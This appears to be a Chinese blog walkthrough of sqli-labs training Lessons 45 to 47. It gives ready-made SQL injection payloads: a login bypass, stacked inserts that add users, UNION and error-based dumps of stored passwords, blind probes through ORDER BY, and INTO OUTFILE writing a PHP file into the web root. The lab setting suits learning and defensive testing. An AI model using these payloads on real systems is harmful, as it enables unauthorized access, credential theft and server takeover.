WEB常见漏洞之SQL注入(靶场篇—3)3

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS PostgreSQL,集群系列 2核4GB
简介: WEB常见漏洞之SQL注入(靶场篇—3)

Lesson-45

该题为单括号单引号post型注入,利用方式包括联合查询注入、布尔盲注、时间盲注、堆叠注入,登录界面以 post 方式接收变量,存在忘记密码和新建用户选项

目标SQL语句如下:

//login.php

$username=mysqli_real_escape_string($con1, $_POST["login_user"]);

$password=$_POST["login_password"];

$sql="SELECT * FROM users WHERE username=('$username') and password=('$password')";

@mysqli_multi_query($con1, $sql)

# 返回内容

if查询成功:

  输出查询内容;

else:

  输出存在错误;

$login=sqllogin($host,$dbuser,$dbpass, $dbname);

if登录成功:

  setcookie("Auth", 1, time()+3600);

//pass_change.php

$username=$_SESSION["username"];

$curr_pass=mysql_real_escape_string($_POST['current_password']);

$pass=mysql_real_escape_string($_POST['password']);

$re_pass=mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)

$sql="UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

注意:该题与Lesson44的利用方式相同,只不过拼接方式由单引号换成了单括号单引号

使用万能密码尝试登录,成功登录

login_user=admin&login_password=1')%20or%201#&mysubmit=Login

使用堆叠注入判断字段数

login_user=admin&login_password=1')%20order%20by%203#&mysubmit=Login //返回正常页面

这里我们不能使用 order by 来判断字段数,需要通过 union select 判断

login_user=admin&login_password=-1')%20union%20select%201,2,3#&mysubmit=Login

由此可判断字段数为3,我们可利用联合查询、报错注入以及盲注进行攻击,这在之前都已介绍过了,就不再赘述。重点测试堆叠注入,尝试添加字段值

login_user=admin&login_password=1');insert%20into%20users(username,password)%20values('mac','mac')#&mysubmit=Login

通过联合查询查看数据,点击follow后发现字段值已添加

login_user=admin&login_password=-1')%20union%20select%201,(select%20group_concat(concat_ws(0x7e,username,password))%20from%20users),3%20from%20users#&mysubmit=Login

Lesson-46

该题为数字型get型注入,利用方式包括报错注入、布尔盲注、时间盲注,本题是对 order by 语句的注入,常见的显示表格的站点一般会使用sortlimit参数来控制数据返回长度

sort=1

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY $id";

# 返回内容

iftrue:

  输出查询内容;

else:

  print_r(mysql_error());

注意:该题将order by作为注入点,它不同于where后的参数注入,因此不能使用联合查询,但可以使用报错注入和盲注

判断注入点的多种方式:

  • 升降序验证

sort=1asc //返回顺序结果

sort=1desc //返回倒序结果

  • rand()验证

sort=rand(true)

sort=rand(false)

rand(true)rand(false)都会返回随机排列的结果

  • 延时验证

sort=sleep(3) //等待3*行数秒才会显示结果

使用报错注入查询基本信息

sort=(selectcount(*)from users groupby concat((selectuser()),0x7e,floor(rand(0)*2)))

sort=(selectcount(*)from users groupby concat((select version()),0x7e,floor(rand(0)*2)))

sort=(selectcount(*)from users groupby concat((selectdatabase()),0x7e,floor(rand(0)*2)))

除了以上基础的 floor 报错注入外,还可以使用procedure analyse参数进行注入

sort=1procedure analyse(extractvalue(rand(),concat(0x7e,user())),1)

查询表名,更改 limit 中的前后位数字可控制数据显示位置以及数量

sort=(selectcount(*)from users groupby concat((selecttable_namefrom information_schema.tableswhere table_schema='security'limit0,1),0x7e,floor(rand(0)*2)))

sort=(selectcount(*)from users groupby concat((selecttable_namefrom information_schema.tableswhere table_schema='security'limit1,1),0x7e,floor(rand(0)*2)))

查询列名

sort=(selectcount(*)from users groupby concat((select column_name from information_schema.columnswheretable_name='users'limit0,1),0x7e,floor(rand(0)*2)))

sort=(selectcount(*)from users groupby concat((select column_name from information_schema.columnswheretable_name='users'limit1,1),0x7e,floor(rand(0)*2)))

640.png

查询关键信息

sort=(selectcount(*)from users groupby concat((select concat(username,0x7e,password)from users limit0,1),0x7e,floor(rand(0)*2)))

sort=(selectcount(*)from users groupby concat((select concat(username,0x7e,password)from users limit1,1),0x7e,floor(rand(0)*2)))

盲注可使用rand()进行判断,一旦查询正确就会通过rand()函数重新随机排列数组,否则不变,首先测试布尔盲注

sort=rand(left(database(),1)>'s')

sort=rand(left(database(),1)='s')

数据库名的第一个字符为s,其次测试时间盲注

sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))

sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))

使用into outfile将结果导入目标文件中

sort=1intooutfile"C:\\phpStudy\\PHPTutorial\\WWW\\mac.txt"

成功将结果写入mac.txt当中

我们可利用lines terminated by来尝试获取权限

sort=1intooutfile"C:\\phpStudy\\PHPTutorial\\WWW\\mac1.php"linesterminatedby0x3c3f70687020706870696e666f28293f3e0a

访问mac1.php,成功解析

使用十六进制可有效规避字符乱码问题,通过 python 可将利用代码转换为十六进制

echo "<?php phpinfo()?>"| python3 -c "import sys, binascii; print(binascii.hexlify(sys.stdin.buffer.read()).decode())"

Lesson-47

该题为单引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY '$id'";

# 返回内容

iftrue:

  输出查询内容;

else:

  print_r(mysql_error());

注意:该题与Lesson46的利用方式相同,只不过拼接方式由数字改为了单引号

使用报错注入判断注入点

sort=1'--+

查询基本信息

sort=1' and (select count(*) from users group by concat((select user()),0x7e,floor(rand(0)*2)))--+

sort=1'and(selectcount(*)from users groupby concat((select version()),0x7e,floor(rand(0)*2)))--+

sort=1' and (select count(*) from users group by concat((select database()),0x7e,floor(rand(0)*2)))--+

除了以上基础的 floor 报错注入外,还可以使用procedure analyse参数进行注入

sort=1' procedure analyse(extractvalue(rand(),concat(0x7e,user())),1)--+

查询表名,更改 limit 中的前后位数字可控制数据显示位置以及数量

sort=1' and (select count(*) from users group by concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e,floor(rand(0)*2)))--+

sort=1' and (select count(*) from users group by concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e,floor(rand(0)*2)))--+

查询列名

sort=1' and (select count(*) from users group by concat((select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e,floor(rand(0)*2)))--+

sort=1' and (select count(*) from users group by concat((select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e,floor(rand(0)*2)))--+

查询关键信息

sort=1' and (select count(*) from users group by concat((select concat(username,0x7e,password) from users limit 0,1),0x7e,floor(rand(0)*2)))--+

sort=1' and (select count(*) from users group by concat((select concat(username,0x7e,password) from users limit 1,1),0x7e,floor(rand(0)*2)))--+

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
10天前
|
安全 关系型数据库 MySQL
Web安全-条件竞争漏洞
Web安全-条件竞争漏洞
21 0
|
6天前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
30 8
|
6天前
|
安全 关系型数据库 Shell
Web安全-浅析CSV注入漏洞的原理及利用
Web安全-浅析CSV注入漏洞的原理及利用
11 3
|
9天前
|
安全 应用服务中间件 开发工具
Web安全-SVN信息泄露漏洞分析
Web安全-SVN信息泄露漏洞分析
30 2
|
12天前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
48 5
|
10天前
|
JSON 安全 JavaScript
Web安全-JQuery框架XSS漏洞浅析
Web安全-JQuery框架XSS漏洞浅析
45 2
|
12天前
|
SQL 安全 Go
SQL注入不可怕,XSS也不难防!Python Web安全进阶教程,让你安心做开发!
在Web开发中,安全至关重要,尤其要警惕SQL注入和XSS攻击。SQL注入通过在数据库查询中插入恶意代码来窃取或篡改数据,而XSS攻击则通过注入恶意脚本来窃取用户敏感信息。本文将带你深入了解这两种威胁,并提供Python实战技巧,包括使用参数化查询和ORM框架防御SQL注入,以及利用模板引擎自动转义和内容安全策略(CSP)防范XSS攻击。通过掌握这些方法,你将能够更加自信地应对Web安全挑战,确保应用程序的安全性。
43 3
|
14天前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
42 5
|
12天前
|
安全 搜索推荐 应用服务中间件
Web安全-目录遍历漏洞
Web安全-目录遍历漏洞
18 2
|
12天前
|
XML JSON 安全
Web安全-XXE漏洞
Web安全-XXE漏洞
13 1
下一篇
无影云桌面